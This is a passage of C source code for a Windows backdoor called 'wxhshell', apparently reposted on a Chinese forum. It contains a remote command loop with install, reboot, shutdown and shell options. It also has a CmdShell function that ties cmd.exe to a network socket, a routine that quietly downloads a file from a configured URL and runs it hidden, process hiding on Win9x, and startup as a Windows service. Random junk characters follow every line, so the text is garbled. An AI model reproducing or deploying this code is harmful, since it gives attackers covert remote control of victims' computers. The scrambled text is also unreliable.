  // 帮助 nmc=RK^cM  
  case '?': { JE9|;A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B y6:  
    break; 9HRYk13ae  
  } J@H9nw+Q  
  // 安装 D._q'v<  
  case 'i': { Sq UoXNw  
    if(Install()) '_g8fz 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jbn{5af  
    else Ngu+V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _I&0HRi  
    break; eq "a)QB3m  
    } a>.2Q<1  
  // 卸载 -}MWA>an8  
  case 'r': { C:_!zY'z  
    if(Uninstall()) %xyt4}-)m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aoco'BR F  
    else _z)G!_7.>\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JnmJN1@I  
    break; nC qUg_{D  
    } X/];*='Q  
  // 显示 wxhshell 所在路径 I &YYw8&  
  case 'p': { E xc`>Y q  
    char svExeFile[MAX_PATH]; vy[*xT]  
    strcpy(svExeFile,"\n\r"); ^EjZ.#2l;  
      strcat(svExeFile,ExeFile); TW Qf2  
        send(wsh,svExeFile,strlen(svExeFile),0); `;*Wt9  
    break; x7t<F4  
    } @GBS-iT3  
  // 重启 C "<l}  
  case 'b': { }7g\1l\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P@lExF*D1:  
    if(Boot(REBOOT)) `T{{wty  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `w@fxv   
    else { )mB+#T<k-  
    closesocket(wsh); PX(.bP2^Lq  
    ExitThread(0); j S')!Wcu  
    } =KmjCz:  
    break; XtNe) Ry  
    } vXR-#MS`}  
  // 关机 @PZ&/F ^  
  case 'd': { a_L&*%;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f&js,NU"  
    if(Boot(SHUTDOWN)) )2g\GRg6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9|D!&=8   
    else { n9050&_S  
    closesocket(wsh); ?<#6=  
    ExitThread(0); rfkk3oy  
    } dum! AO  
    break; YCj"^RC^  
    } ?2 u_E "  
  // 获取shell Gz+Bk5#{  
  case 's': { z(:0@5  
    CmdShell(wsh); zn_InxR  
    closesocket(wsh); AJiEyAC!)5  
    ExitThread(0); $iEM$  
    break; 62PtR`b >  
  } 69!J' kM[  
  // 退出 eq<xO28z  
  case 'x': { "k)( ,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mF%>pj&b  
    CloseIt(wsh); H(lq=M0~  
    break; ..Zuy|?w  
    } 5:hajXd  
  // 离开 !Q*.Dw()[  
  case 'q': { 9FP6Z[4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' 6Ybf  
    closesocket(wsh); 1wW8D>f]K  
    WSACleanup(); x9a*^l  
    exit(1); %Fa/82:- "  
    break; R N5\,>+  
        } ]-bA{@tP.  
  } .LIEZ^@  
  } 0 oEw1!cY  
y/$WjFj3"  
  // 提示信息 !qV{OXdrB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gLsl/G  
} zg.'  
  } Kg VLXI6  
oA(jtX[(  
  return; !?D PI)  
} 4+:Q"  
);kO2 7dg  
// shell模块句柄 aG%KiJ7KEN  
int CmdShell(SOCKET sock) qy`@\)S/5  
{ ' aBX>M  
STARTUPINFO si; z[M LMf[c  
ZeroMemory(&si,sizeof(si)); .6z#o{n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; czi$&(N0w$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %ErL L@e  
PROCESS_INFORMATION ProcessInfo; -n?|,cO  
char cmdline[]="cmd"; qx18A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pg{Dy>&2`I  
  return 0; MSUkCWt!  
} 7 }4T)k(a  
5,:>.LRA  
// 自身启动模式 YjdCCju  
int StartFromService(void) c+f~>AaI  
{ #|v\UJ:Pf/  
typedef struct u_dTJ, m  
{ ZK[4n5}  
  DWORD ExitStatus; yH;=Y1([  
  DWORD PebBaseAddress; ` Xhj7%>  
  DWORD AffinityMask; N|O/3:P<,U  
  DWORD BasePriority; N$aLCX  
  ULONG UniqueProcessId; 2o] V q  
  ULONG InheritedFromUniqueProcessId; .>zXz%p  
}   PROCESS_BASIC_INFORMATION; _VMW-trG  
W2O =dG`  
PROCNTQSIP NtQueryInformationProcess; k:Da+w_'1  
t.t$6+"5We  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; awB1ryrOF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4'Z=T\:  
DxdiXf[j  
  HANDLE             hProcess; 6H+gFXIv  
  PROCESS_BASIC_INFORMATION pbi; b] DF7 U  
[M65T@v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^Y8?iC<+  
  if(NULL == hInst ) return 0; =5 l7{i*`  
EoD;'+d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E y1mlW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1&ukKy,[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "a6[FqTs  
\sEq r)\k  
  if (!NtQueryInformationProcess) return 0; BD&JbH!(  
3V?JX5X\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )'?3%$EM  
  if(!hProcess) return 0; Rb Jl;  
oS 7q#`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0j %s H  
dZFf /BXU  
  CloseHandle(hProcess); qZ'&zB)  
c~3OK_k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2.{:PM4Z4  
if(hProcess==NULL) return 0; |Gx-c ,{{  
OCnQSkj  
HMODULE hMod; QFY1@2EC  
char procName[255];  F"FGPk  
unsigned long cbNeeded; OBqaf )W  
a6wPkf7-H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l ~CYxO  
dYrw&gn  
  CloseHandle(hProcess); -"Wp L2qD  
[G>8N5@*  
if(strstr(procName,"services")) return 1; // 以服务启动 {'C PLJ{R  
nsIx5UA_n  
  return 0; // 注册表启动 Azv j(j  
} 3jZPv;9OC  
Cp`)*P2  
// 主模块 &}_ $@  
int StartWxhshell(LPSTR lpCmdLine) m X{_B!j^  
{ ;9PJ K5>~  
  SOCKET wsl; 87l(a,#J  
BOOL val=TRUE; %ZF47P%6  
  int port=0; [v ( \y  
  struct sockaddr_in door; Q'/v-bd?o  
ZX[ @P?A+-  
  if(wscfg.ws_autoins) Install(); /Fy2ZYs,`8  
b-ZC~#?|b  
port=atoi(lpCmdLine); ^&F8NEb=2>  
Yj)H!Cp.xD  
if(port<=0) port=wscfg.ws_port; 0}}b\!]9  
xTiC[<j  
  WSADATA data; 0Mpc#:a%1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ))- B`vi  
aMKi`EW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @xIKYJyU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i%w[v_j  
  door.sin_family = AF_INET; %MGbIMpY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >Vc;s !R  
  door.sin_port = htons(port); UfIH!6Q  
n`gW&5,,z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *;@V5[^3I?  
closesocket(wsl); +NWhvs  
return 1; '0|0rwx  
} xo3bY6<n  
7vO3+lT/Y;  
  if(listen(wsl,2) == INVALID_SOCKET) { S bI7<_  
closesocket(wsl); E>>@X^ =  
return 1; 9jW/"  
} M9so3L<N0  
  Wxhshell(wsl); $fZVh%  
  WSACleanup(); w6FtDl$  
3H"bivK  
return 0; v d A 3  
U?BuV  
} x h|NmZg  
_voU^-  
// 以NT服务方式启动 21ng94mC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0 ~K4vSa  
{ &(&5ao)5  
DWORD   status = 0; 6WUP#c@{  
  DWORD   specificError = 0xfffffff; L-SWs8  
,xmL[Yk,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6j uNn}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H|@R+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $}_a`~u  
  serviceStatus.dwWin32ExitCode     = 0; :+u K1N  
  serviceStatus.dwServiceSpecificExitCode = 0; %*J'!PC9n  
  serviceStatus.dwCheckPoint       = 0; 0P)"_x_  
  serviceStatus.dwWaitHint       = 0; JR>v  
/DLgE7iU%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R;D|To!  
  if (hServiceStatusHandle==0) return; F&pJ faig  
BhFyEY(  
status = GetLastError(); 5}-e9U  
  if (status!=NO_ERROR) ~d5f]6#`  
{ q8 jI y@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ig b@aGA  
    serviceStatus.dwCheckPoint       = 0; 2x3%*r$  
    serviceStatus.dwWaitHint       = 0; '1rHvz`B/"  
    serviceStatus.dwWin32ExitCode     = status; 1:{BC2P  
    serviceStatus.dwServiceSpecificExitCode = specificError; L{)*evBL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]rAaErB';  
    return; N-C=O  
  } lHl1Ny\?  
R|tf}~u !x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xh'_Vx{.j`  
  serviceStatus.dwCheckPoint       = 0; xi3  
  serviceStatus.dwWaitHint       = 0; nG B jxhl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tUzef  
} [OTZ"XQLI  
H!6nIS9yxt  
// 处理NT服务事件,比如:启动、停止 V'n4iM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZP*(ZU@j=Z  
{ (Qf"|3R4  
switch(fdwControl) Fh[Gq  
{ -%I 0Q  
case SERVICE_CONTROL_STOP: cHr.7 w  
  serviceStatus.dwWin32ExitCode = 0; U_\3preF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CEOD$nYc  
  serviceStatus.dwCheckPoint   = 0; JY6&CL`C  
  serviceStatus.dwWaitHint     = 0; *(c><N  
  { DMeP9D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^j-w^)@T  
  } #}y(D{zc  
  return; ik:fq&=  
case SERVICE_CONTROL_PAUSE: )TH~Tq:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h 7x_VO  
  break; )wFr%wNe  
case SERVICE_CONTROL_CONTINUE: "V7 SB   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s01W_P.@R  
  break; >S]_{pb  
case SERVICE_CONTROL_INTERROGATE: U`25bb1W j  
  break; 6B pm+}  
}; >n!,KUu]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *U{E[<k{  
} OsSGVk #Qh  
gJkvH[hDY  
// 标准应用程序主函数 X.YMb .\<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L~Hgf/%5  
{ Zcq 4?-&  
>wPMJ> 2  
// 获取操作系统版本 +xGz~~iNh  
OsIsNt=GetOsVer(); 4=b{k,kzgA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V( /=0H/ F  
4pkTOQq_tQ  
  // 从命令行安装 P. V #  
  if(strpbrk(lpCmdLine,"iI")) Install(); RMrrLT  
d|~A>YZ  
  // 下载执行文件 k~P{Rm;F  
if(wscfg.ws_downexe) { hp:8e@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h~ F`[G/'  
  WinExec(wscfg.ws_filenam,SW_HIDE); "@h 5 SF  
} |N^z=g P[  
 ~wX4j  
if(!OsIsNt) { NEY b-#v  
// 如果时win9x,隐藏进程并且设置为注册表启动 h3z=tu['  
HideProc(); xQKD1#y  
StartWxhshell(lpCmdLine); ?n]e5R(cj  
} P#8 ]m(  
else IQ9jTkW l  
  if(StartFromService()) ku`bwS  
  // 以服务方式启动 q1d'L *   
  StartServiceCtrlDispatcher(DispatchTable); q^.\8zFf  
else GiF})e}  
  // 普通方式启动 02_37!\  
  StartWxhshell(lpCmdLine); uI'g]18Hi  
Dq~PxcnI  
return 0; HDTdOG)  
}
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只看该作者 1 发表于: 2006-10-10
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